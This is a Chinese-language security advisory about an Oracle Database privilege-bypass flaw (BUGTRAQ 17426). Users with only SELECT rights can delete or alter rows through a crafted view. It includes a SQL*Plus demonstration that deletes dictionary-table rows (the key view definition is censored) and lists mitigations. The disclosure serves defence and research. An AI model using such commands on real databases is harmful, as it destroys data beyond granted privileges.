明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

Oracle數(shù)據(jù)庫(kù)訪問(wèn)局限繞過(guò)漏洞

[摘要]受影響系統(tǒng):Oracle Database 9.2.0.0 - 10.2.0.3 描述:BUGTRAQ ID: 17426 Oracle是大型的商業(yè)數(shù)據(jù)庫(kù)系統(tǒng)。Oracle 9.2.0.0到10.2.0.3版本允許在基表中僅有SELECT權(quán)限的用戶(hù)通過(guò)特制的視圖插入/更新/刪除數(shù)據(jù),成功利用這個(gè)漏...
 

受影響系統(tǒng):Oracle Database 9.2.0.0 - 10.2.0.3

描述:BUGTRAQ ID: 17426

Oracle是大型的商業(yè)數(shù)據(jù)庫(kù)系統(tǒng)。Oracle 9.2.0.0到10.2.0.3版本允許在基表中僅有SELECT權(quán)限的用戶(hù)通過(guò)特制的視圖插入/更新/刪除數(shù)據(jù),成功利用這個(gè)漏洞的低權(quán)限用戶(hù)可以通過(guò)創(chuàng)建特制的視圖導(dǎo)致插入、更新和刪除數(shù)據(jù)。

這個(gè)漏洞對(duì)Oracle數(shù)據(jù)詞典的影響較低,因?yàn)榇蠖鄶?shù)詞典表沒(méi)有primary key,而利用這個(gè)漏洞必須primary key。

測(cè)試方法

警告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!

假設(shè)用戶(hù)dbsnmp僅有SELECT ANY DICTIONARY權(quán)限,無(wú)法更新數(shù)據(jù)詞典中的表格。

C:\>sqlplus dbsnmp/dbsnmp

SQL*Plus: Release 10.1.0.4.0 - Production on Thu Apr 8 19:20:27 2006

Copyright (c) 1982, 2005, Oracle. All rights reserved.

Connected to:

Oracle Database 10g Enterprise Edition Release 10.1.0.4.0

- Production With the Partitioning, OLAP and Data Mining options

SQL> select * from v$version;

BANNER

Oracle Database 10g Enterprise Edition Release 10.1.0.4.0

- Prod PL/SQL Release 10.1.0.4.0 - Production

CORE 10.1.0.4.0 Production

TNS for 32-bit Windows: Version 10.1.0.4.0

- Production NLSRTL Version 10.1.0.4.0 - Production

SQL> -- 無(wú)法從數(shù)據(jù)詞典刪除數(shù)據(jù)(正常)

SQL> delete from sys.registry$;

delete from sys.registry$

*

ERROR at line 1:

ORA-01031: insufficient privileges

SQL> -- 創(chuàng)建特制的自定義視圖

SQL> create or replace view e as select [...censored...];

View created.

SQL> -- 通過(guò)視圖丟棄數(shù)據(jù)!!! ==> 安全漏洞 !!!

SQL> delete from e;

17 rows deleted.

建議,臨時(shí)解決方法

如果您不能立刻安裝補(bǔ)丁或者升級(jí),NSFOCUS建議您采取以下措施以降低威脅:

* 過(guò)濾9i到10g R1的連接角色,刪除CREATE VIEW(以及CREATE DATABASE LINK等)權(quán)限。

* 從基表刪除primary key。請(qǐng)注意這可能導(dǎo)致性能和完整性問(wèn)題。

廠商補(bǔ)。 Oracle

目前廠商還沒(méi)有提供補(bǔ)丁或者升級(jí)程序,我們建議使用此軟件的用戶(hù)隨時(shí)關(guān)注廠商的主頁(yè)以獲取最新版本。

 鏈接:http://marc.theaimsgroup.com/?l=bugtraq&m=114468438319540&w=2 *>